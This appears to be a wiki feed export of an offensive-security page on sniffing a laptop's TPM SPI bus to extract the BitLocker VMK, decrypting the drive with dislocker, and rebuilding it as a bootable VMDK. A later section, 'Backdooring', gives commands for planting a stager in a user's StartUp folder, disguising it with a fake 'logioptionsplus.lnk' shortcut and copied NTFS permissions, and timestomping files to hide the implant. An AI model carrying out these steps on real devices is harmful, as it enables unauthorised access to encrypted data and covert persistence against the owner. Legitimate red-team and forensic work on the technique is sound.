rm -f &amp;quot;$RAW_IMAGE&amp;quot;&lt;br /&gt;
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;VMDK creation complete! Output: $FINAL_VMDK&amp;quot;&lt;br /&gt;
print_status &amp;quot;Next steps:&amp;quot;&lt;br /&gt;
print_status &amp;quot;1. Import $FINAL_VMDK into VMware/VirtualBox&amp;quot;&lt;br /&gt;
print_status &amp;quot;2. Configure VM as UEFI boot&amp;quot;&lt;br /&gt;
print_status &amp;quot;3. If boot fails, use Windows installation media to run bootrec/bcdboot&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7: Import VMDK to VMware ===&lt;br /&gt;
&lt;br /&gt;
# Create a new VM&lt;br /&gt;
# Select &#039;&#039;&#039;Use existing virtual disk&#039;&#039;&#039;&lt;br /&gt;
# Select your newly created &amp;lt;code&amp;gt;Windows_Bootable.vmdk&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set Firmware to &#039;&#039;&#039;UEFI&#039;&#039;&#039;&lt;br /&gt;
# RAM: 8GB&lt;br /&gt;
# Processor: 2+ cores&lt;br /&gt;
&lt;br /&gt;
== Troubleshooting ==&lt;br /&gt;
&lt;br /&gt;
If the VM fails to boot:&lt;br /&gt;
&lt;br /&gt;
# Mount a Windows 11 installation ISO&lt;br /&gt;
# Select &#039;&#039;&#039;Repair your computer&#039;&#039;&#039;&lt;br /&gt;
# If that fails: &#039;&#039;&#039;Troubleshoot → Advanced Options → Command Prompt&#039;&#039;&#039;&lt;br /&gt;
# Run the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
diskpart&lt;br /&gt;
list volume&lt;br /&gt;
select volume VOLUME_NUMBER   # Should be your EFI partition&lt;br /&gt;
assign letter S:&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
bcdboot C:\Windows /s S: /f UEFI&lt;br /&gt;
exit   # Remove ISO and reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Backdooring ==&lt;br /&gt;
&lt;br /&gt;
=== Mount Drive (Read Only) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deploying Stager ===&lt;br /&gt;
&lt;br /&gt;
The stager should be added to a users StartUp folder.&lt;br /&gt;
&lt;br /&gt;
=== Setting File Permissions ===&lt;br /&gt;
&lt;br /&gt;
Find an existing file from the target user directory and save its permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
getfattr -n system.ntfs_acl -e hex ../../Downloads/desktop.ini &amp;gt; perms.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply those permissions to all files in the LogiOptionsPlus folder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find . -exec setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; {} \;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify permissions:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ntfssecaudit ffmpeg.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Creating LNK File ===&lt;br /&gt;
&lt;br /&gt;
Using [https://raw.githubusercontent.com/ehusby/mslink/refs/heads/main/mslink_v1.3.sh mslink]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/alaa/mslink_v1.3.sh \&lt;br /&gt;
  -o logioptionsplus.lnk \&lt;br /&gt;
  -w &#039;C:\Users\domainusers\AppData\Local\YourStager&#039; \&lt;br /&gt;
  -l &#039;C:\Users\domainusers\AppData\Local\YourStager\stager.exe&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apply permissions to the LNK file as well:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
setfattr -n system.ntfs_acl -v \&lt;br /&gt;
  &amp;quot;$(cat /mnt/Users/domainuser/AppData/Local/perms.txt | cut -d&#039;=&#039; -f2 | head -n2 | tail -n1)&amp;quot; \&lt;br /&gt;
  logioptionsplus.lnk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Timestomping ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
touch -d &amp;quot;2 hours ago&amp;quot; filename&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2310</id>
		<title>Offensive Security/Extract BitLocker VMK from TPM</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Extract_BitLocker_VMK_from_TPM&amp;diff=2310"/>
		<updated>2026-02-18T08:13:43Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Deploying Stager */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= BitLocker VMK Extraction via SPI =&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
* Discrete TPM. Check for specific manufacturer (Infineon, STMicro, Nuvoton). If you see Intel PTT or AMD fTPM in BIOS, that means it&#039;s a firmware-based TPM.&lt;br /&gt;
* A logic analyzer. In the office we have a [https://www.saleae.com/ Saleae].&lt;br /&gt;
* Logic analyzer software. We use [https://www.saleae.com/downloads/ Logic 2].&lt;br /&gt;
&lt;br /&gt;
== Extracting BitLocker VMK ==&lt;br /&gt;
&lt;br /&gt;
=== Locating the TPM Chip ===&lt;br /&gt;
The first step is to locate the TPM chip on the motherboard. The easiest way is to find a schematic for the motherboard and look for the TPM chip description. It is usually close to the CPU.&lt;br /&gt;
&lt;br /&gt;
The best way to find schematics is to find the model number of the motherboard and search for that + &amp;quot;schematics&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Sources for finding schematics:&lt;br /&gt;
* [https://t.me/ schematics|boardviews|ARCHIVE 💻💻]&lt;br /&gt;
* [https://www.badcaps.net/ Badcaps - Laptop, TV, &amp;amp; Other Electronics Repair Forum]&lt;br /&gt;
* Indiafix&lt;br /&gt;
&lt;br /&gt;
Once you locate the correct schematic (typically a .CAD file), leveraging an LLM can significantly accelerate TPM chip identification. LLMs can parse CAD files and quickly pinpoint the TPM component, saving considerable time during the reconnaissance phase.&lt;br /&gt;
&lt;br /&gt;
=== Locating the SPI Bus Pins ===&lt;br /&gt;
After identifying the TPM chip, locate the following SPI bus pins:&lt;br /&gt;
* &#039;&#039;&#039;CLK&#039;&#039;&#039; (Clock)&lt;br /&gt;
* &#039;&#039;&#039;CS&#039;&#039;&#039; (Chip Select)&lt;br /&gt;
* &#039;&#039;&#039;MOSI&#039;&#039;&#039; (Master Out, Slave In)&lt;br /&gt;
* &#039;&#039;&#039;MISO&#039;&#039;&#039; (Master In, Slave Out)&lt;br /&gt;
&lt;br /&gt;
Additionally, establish a proper ground connection to complete the circuit — this step is essential for reliable signal capture.&lt;br /&gt;
&lt;br /&gt;
=== Configuring Logic 2 ===&lt;br /&gt;
Launch Logic 2. Each wire harness on the Saleae analyzer corresponds to a numbered channel in the software. Create a reference table to ensure correct connections and name them accordingly. Example:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Saleae Channel !! Logic 2 Label !! SPI Signal&lt;br /&gt;
|-&lt;br /&gt;
| Channel 0 || D0 || CLK&lt;br /&gt;
|-&lt;br /&gt;
| Channel 1 || D1 || CS&lt;br /&gt;
|-&lt;br /&gt;
| Channel 2 || D2 || MOSI&lt;br /&gt;
|-&lt;br /&gt;
| Channel 3 || D3 || MISO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Voltage Configuration:&#039;&#039;&#039; Before capturing, set the correct voltage threshold in Logic 2&#039;s device settings. Consult the chip&#039;s datasheet or motherboard schematic to determine the TPM&#039;s operating voltage (typically 1.8V or 3.3V). Select the appropriate voltage level from the device settings panel to ensure accurate signal detection.&lt;br /&gt;
&lt;br /&gt;
=== Adding the SPI Analyzer ===&lt;br /&gt;
In Logic 2, click &#039;&#039;&#039;Analyzers&#039;&#039;&#039; and add the built-in SPI analyzer. Configure with the following settings:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Setting !! Value&lt;br /&gt;
|-&lt;br /&gt;
| MOSI || Assign to your MOSI channel&lt;br /&gt;
|-&lt;br /&gt;
| MISO || Assign to your MISO channel&lt;br /&gt;
|-&lt;br /&gt;
| Clock || Assign to your CLK channel&lt;br /&gt;
|-&lt;br /&gt;
| Enable (CS) || Active High (if probing from flash chip CS line)&lt;br /&gt;
|-&lt;br /&gt;
| Bits per Transfer || 8 bits&lt;br /&gt;
|-&lt;br /&gt;
| Significant Bit || MSB first&lt;br /&gt;
|-&lt;br /&gt;
| Clock State || Rising edge (most TPMs)&lt;br /&gt;
|-&lt;br /&gt;
| Stream to Terminal || Disabled&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{{Note|You may need to test both Clock State and Enable Line settings to identify if the clock is high or low when inactive. If you have captured correct SPI traffic but cannot see the BitLocker VMK, analyze the traffic and adjust settings accordingly.}}&lt;br /&gt;
&lt;br /&gt;
=== Loading the BitLocker SPI Toolkit ===&lt;br /&gt;
To automatically identify the VMK in captured SPI traffic, use the [https://github.com/ReversecLabs/bitlocker-spi-toolkit GitHub - ReversecLabs/bitlocker-spi-toolkit].&lt;br /&gt;
&lt;br /&gt;
# Go to &#039;&#039;&#039;Extensions → Load Existing Extension&#039;&#039;&#039;&lt;br /&gt;
# Navigate to the cloned repo&#039;s &amp;lt;code&amp;gt;analyzer&amp;lt;/code&amp;gt; folder&lt;br /&gt;
# Load the &#039;&#039;&#039;BitLocker-Key-Extractor&#039;&#039;&#039; extension&lt;br /&gt;
# Edit the extension settings and set the &#039;&#039;&#039;Input Analyzer&#039;&#039;&#039; to SPI&lt;br /&gt;
# Enable &#039;&#039;&#039;Stream to Terminal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Attaching Probes and Capturing ===&lt;br /&gt;
Carefully attach the probe hooks to the SPI bus pins. Ensure each connection is secure and making proper electrical contact — poor connections result in signal noise or data loss. Use a magnifying glass if the pins are very small.&lt;br /&gt;
&lt;br /&gt;
# Click &#039;&#039;&#039;Start&#039;&#039;&#039; in Logic 2&lt;br /&gt;
# Immediately power on the target device&lt;br /&gt;
# Wait until Windows has loaded (Windows logo or login screen is visible)&lt;br /&gt;
# Click &#039;&#039;&#039;Stop&#039;&#039;&#039; to end the capture&lt;br /&gt;
&lt;br /&gt;
In the Analyzers panel, locate the BitLocker Key Extractor output. The BitLocker VMK will be displayed as a &#039;&#039;&#039;32-byte hexadecimal string&#039;&#039;&#039; in the Data field. If not immediately visible, scroll through the analyzer results — the VMK annotation typically appears in the latter portion of the boot sequence.&lt;br /&gt;
&lt;br /&gt;
== Decrypting the Drive ==&lt;br /&gt;
&lt;br /&gt;
{{Warning|It is generally recommended &#039;&#039;&#039;NOT&#039;&#039;&#039; to mount the drive on Windows, as the OS may write to the disk, potentially causing issues.}}&lt;br /&gt;
&lt;br /&gt;
Boot a DFIR operating system from USB, such as:&lt;br /&gt;
* [https://tsurugi-linux.org/ Tsurugi Linux]&lt;br /&gt;
* [https://sumuri.com/ SUMURI Digital Forensics (Paladin OS)]&lt;br /&gt;
&lt;br /&gt;
The following commands will mount the drive as &#039;&#039;&#039;read-only&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create two directories&lt;br /&gt;
sudo mkdir -p /media/bitlocker&lt;br /&gt;
sudo mkdir -p /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# If your VMK is in hex, convert it to binary&lt;br /&gt;
echo &amp;quot;YOUR_HEX_VMK&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
&lt;br /&gt;
# Use fdisk to identify correct drive&lt;br /&gt;
fdisk -l&lt;br /&gt;
&lt;br /&gt;
# Decrypt with dislocker (READ ONLY)&lt;br /&gt;
sudo dislocker -r -V /dev/sdX -K vmk.bin -- /media/bitlocker&lt;br /&gt;
&lt;br /&gt;
# Mount virtual files&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /media/bitlocker/dislocker-file /media/bitlocker_mount&lt;br /&gt;
&lt;br /&gt;
# Verify read only&lt;br /&gt;
mount | grep bitlocker&lt;br /&gt;
&lt;br /&gt;
# Unmount&lt;br /&gt;
sudo umount /media/bitlocker_mount&lt;br /&gt;
sudo umount /media/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Creating a Bootable VMDK from BitLocker-Encrypted Windows Disk ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Mount the Backup Image ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
losetup -Pf --show /path/to/BackupImage.001&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Expected output: &amp;lt;code&amp;gt;/dev/loop0&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/loop1&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Inspect Partition Layout ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fdisk -l /dev/loop1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output:&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p1&amp;lt;/code&amp;gt; — 500M EFI System&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p2&amp;lt;/code&amp;gt; — 128M Microsoft Reserved&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p3&amp;lt;/code&amp;gt; — 250G Microsoft Basic Data (BitLocker encrypted)&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/loop1p4&amp;lt;/code&amp;gt; — 2.4G Windows Recovery Environment&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Decrypt BitLocker Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot;VMK_VALUE&amp;quot; | xxd -r -p &amp;gt; vmk.bin&lt;br /&gt;
dislocker /V /dev/loop1p3 -K vmk.bin -- /mnt/bitlocker&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This creates a decrypted file called &amp;lt;code&amp;gt;dislocker-file&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Step 4: Mount Decrypted Volume ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mount -o loop,ro -t ntfs-3g /mnt/bitlocker/dislocker-file /mnt/bitlocker_mounted&lt;br /&gt;
mount  # Verify mounted with ro&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 5: Verification Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Verify loop devices&lt;br /&gt;
losetup -a&lt;br /&gt;
&lt;br /&gt;
# Check partition details&lt;br /&gt;
parted /dev/loop1 unit MiB print&lt;br /&gt;
&lt;br /&gt;
# Verify mounts&lt;br /&gt;
mount | grep loop&lt;br /&gt;
df -h | grep loop&lt;br /&gt;
&lt;br /&gt;
# Check available space&lt;br /&gt;
df -h &amp;quot;OUTPUT-FOLDER&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Verify required tools&lt;br /&gt;
which mkfs.ntfs rsync parted&lt;br /&gt;
&lt;br /&gt;
# Verify decrypted data&lt;br /&gt;
ls -la /mnt/bitlocker_mounted | head -20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 6: Create Bootable VMDK (Script) ===&lt;br /&gt;
&lt;br /&gt;
The script below will:&lt;br /&gt;
* Create a 244GB raw disk image (adjust based on your image size)&lt;br /&gt;
* Partition it to match the original Windows disk (EFI + MSR + Windows + Recovery)&lt;br /&gt;
* Format EFI partition (FAT32) and copy boot files&lt;br /&gt;
* Format Windows partition (NTFS) and copy all decrypted data&lt;br /&gt;
* Format recovery partition (NTFS)&lt;br /&gt;
* Convert raw image to VMDK format&lt;br /&gt;
* Clean up temporary files&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes before running:&#039;&#039;&#039;&lt;br /&gt;
* Lines 16–21: Verify variables are correct before proceeding&lt;br /&gt;
* Line 92: Change partition size depending on image size&lt;br /&gt;
* Line 106: Change depending on image size&lt;br /&gt;
* &#039;&#039;&#039;Time estimate:&#039;&#039;&#039; 30–60 minutes&lt;br /&gt;
* &#039;&#039;&#039;Temporary space needed:&#039;&#039;&#039; ~250GB&lt;br /&gt;
* &#039;&#039;&#039;Final VMDK size:&#039;&#039;&#039; ~74GB (varies by source image)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
# Script to create a bootable VMDK from BitLocker-decrypted Windows disk&lt;br /&gt;
# ==============================================================================&lt;br /&gt;
set -e&lt;br /&gt;
&lt;br /&gt;
RED=&#039;\033[0;31m&#039;&lt;br /&gt;
GREEN=&#039;\033[0;32m&#039;&lt;br /&gt;
YELLOW=&#039;\033[1;33m&#039;&lt;br /&gt;
NC=&#039;\033[0m&#039;&lt;br /&gt;
&lt;br /&gt;
ENCRYPTED_LOOP=&amp;quot;/dev/loop0&amp;quot;&lt;br /&gt;
DECRYPTED_MOUNT=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image/bitlockermount&amp;quot;&lt;br /&gt;
WORK_DIR=&amp;quot;/mnt/hgfs/Shared_Kali/Laptop Image&amp;quot;&lt;br /&gt;
RAW_IMAGE=&amp;quot;$WORK_DIR/new_bootable_disk.img&amp;quot;&lt;br /&gt;
FINAL_VMDK=&amp;quot;$WORK_DIR/Windows_Bootable.vmdk&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status() { echo -e &amp;quot;${GREEN}[+]${NC} $1&amp;quot;; }&lt;br /&gt;
print_error()  { echo -e &amp;quot;${RED}[!]${NC} $1&amp;quot;; }&lt;br /&gt;
print_warning(){ echo -e &amp;quot;${YELLOW}[*]${NC} $1&amp;quot;; }&lt;br /&gt;
&lt;br /&gt;
cleanup() {&lt;br /&gt;
    print_warning &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
    umount /mnt/new_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/old_efi 2&amp;gt;/dev/null || true&lt;br /&gt;
    umount /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
    if [ -n &amp;quot;$TEMP_LOOP&amp;quot; ] &amp;amp;&amp;amp; [ -b &amp;quot;$TEMP_LOOP&amp;quot; ]; then&lt;br /&gt;
        losetup -d &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
    fi&lt;br /&gt;
    qemu-nbd --disconnect /dev/nbd0 2&amp;gt;/dev/null || true&lt;br /&gt;
}&lt;br /&gt;
trap cleanup EXIT&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Running pre-flight checks...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ &amp;quot;$EUID&amp;quot; -ne 0 ]; then&lt;br /&gt;
    print_error &amp;quot;Please run as root&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if ! command -v sgdisk &amp;amp;&amp;gt; /dev/null; then&lt;br /&gt;
    print_error &amp;quot;sgdisk not installed. Run: apt install gdisk&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -b &amp;quot;$ENCRYPTED_LOOP&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Encrypted loop device $ENCRYPTED_LOOP not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -d &amp;quot;$DECRYPTED_MOUNT&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Decrypted mount point $DECRYPTED_MOUNT not found&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
AVAILABLE_SPACE=$(df -BG &amp;quot;$WORK_DIR&amp;quot; | awk &#039;NR==2 {print $4}&#039; | sed &#039;s/G//&#039;)&lt;br /&gt;
if [ &amp;quot;$AVAILABLE_SPACE&amp;quot; -lt 250 ]; then&lt;br /&gt;
    print_error &amp;quot;Insufficient disk space. Need ~250GB, have ${AVAILABLE_SPACE}GB&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Pre-flight checks passed!&amp;quot;&lt;br /&gt;
print_warning &amp;quot;This will create a ~240GB disk image. Press Ctrl+C to cancel, or Enter to continue...&amp;quot;&lt;br /&gt;
read&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating 244GB raw disk image...&amp;quot;&lt;br /&gt;
qemu-img create -f raw &amp;quot;$RAW_IMAGE&amp;quot; 244198M&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Setting up loop device...&amp;quot;&lt;br /&gt;
TEMP_LOOP=$(losetup -fP --show &amp;quot;$RAW_IMAGE&amp;quot;)&lt;br /&gt;
print_status &amp;quot;Using loop device: $TEMP_LOOP&amp;quot;&lt;br /&gt;
sleep 2&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Creating GPT partition table with sgdisk...&amp;quot;&lt;br /&gt;
sgdisk -Z &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
sgdisk -n 1:2048:1026047    -t 1:EF00 -c 1:&amp;quot;EFI system partition&amp;quot;        &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 2:1026048:1288191 -t 2:0C01 -c 2:&amp;quot;Microsoft reserved partition&amp;quot; &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 3:1288192:494993407 -t 3:0700 -c 3:&amp;quot;Basic data partition&amp;quot;       &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -n 4:494993408:0     -t 4:2700 -c 4:&amp;quot;Basic data partition&amp;quot;         &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 1:set:0 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
sgdisk -A 4:set:62 &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
partprobe &amp;quot;$TEMP_LOOP&amp;quot; 2&amp;gt;/dev/null || true&lt;br /&gt;
sleep 3&lt;br /&gt;
&lt;br /&gt;
if [ ! -b &amp;quot;${TEMP_LOOP}p1&amp;quot; ]; then&lt;br /&gt;
    print_error &amp;quot;Partition creation failed&amp;quot;; exit 1&lt;br /&gt;
fi&lt;br /&gt;
sgdisk -p &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting EFI partition...&amp;quot;&lt;br /&gt;
mkfs.vfat -F32 &amp;quot;${TEMP_LOOP}p1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying EFI boot files...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_efi /mnt/old_efi&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p1&amp;quot; /mnt/new_efi&lt;br /&gt;
mount &amp;quot;${ENCRYPTED_LOOP}p1&amp;quot; /mnt/old_efi&lt;br /&gt;
cp -av /mnt/old_efi/* /mnt/new_efi/&lt;br /&gt;
umount /mnt/new_efi&lt;br /&gt;
umount /mnt/old_efi&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting Windows partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p3&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Copying Windows data...&amp;quot;&lt;br /&gt;
mkdir -p /mnt/new_win&lt;br /&gt;
mount &amp;quot;${TEMP_LOOP}p3&amp;quot; /mnt/new_win&lt;br /&gt;
rsync -aP --info=progress2 &amp;quot;$DECRYPTED_MOUNT/&amp;quot; /mnt/new_win/&lt;br /&gt;
&lt;br /&gt;
SRC_SIZE=$(du -sb &amp;quot;$DECRYPTED_MOUNT&amp;quot; | cut -f1)&lt;br /&gt;
DST_SIZE=$(du -sb /mnt/new_win | cut -f1)&lt;br /&gt;
print_status &amp;quot;Source: $SRC_SIZE bytes | Destination: $DST_SIZE bytes&amp;quot;&lt;br /&gt;
umount /mnt/new_win&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Formatting recovery partition...&amp;quot;&lt;br /&gt;
mkfs.ntfs -f -Q &amp;quot;${TEMP_LOOP}p4&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Detaching loop device...&amp;quot;&lt;br /&gt;
losetup -d &amp;quot;$TEMP_LOOP&amp;quot;&lt;br /&gt;
TEMP_LOOP=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Converting to VMDK...&amp;quot;&lt;br /&gt;
qemu-img convert -f raw -O vmdk -p &amp;quot;$RAW_IMAGE&amp;quot; &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
qemu-img info &amp;quot;$FINAL_VMDK&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;Cleaning up...&amp;quot;&lt;br /&gt;
rm -f &amp;quot;$RAW_IMAGE&amp;quot;&lt;br /&gt;
rmdir /mnt/new_efi /mnt/old_efi /mnt/new_win 2&amp;gt;/dev/null || true&lt;br /&gt;
&lt;br /&gt;
print_status &amp;quot;VMDK creation complete! Output: $FINAL_VMDK&amp;quot;&lt;br /&gt;
print_status &amp;quot;Next steps:&amp;quot;&lt;br /&gt;
print_status &amp;quot;1. Import $FINAL_VMDK into VMware/VirtualBox&amp;quot;&lt;br /&gt;
print_status &amp;quot;2. Configure VM as UEFI boot&amp;quot;&lt;br /&gt;
print_status &amp;quot;3. If boot fails, use Windows installation media to run bootrec/bcdboot&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 7: Import VMDK to VMware ===&lt;br /&gt;
&lt;br /&gt;
# Create a new VM&lt;br /&gt;
# Select &#039;&#039;&#039;Use existing virtual disk&#039;&#039;&#039;&lt;br /&gt;
# Select your newly created &amp;lt;code&amp;gt;Windows_Bootable.vmdk&amp;lt;/code&amp;gt;&lt;br /&gt;
# Set Firmware to &#039;&#039;&#039;UEFI&#039;&#039;&#039;&lt;br /&gt;
# RAM: 8GB&lt;br /&gt;
# Processor: 2+ cores&lt;br /&gt;
&lt;br /&gt;
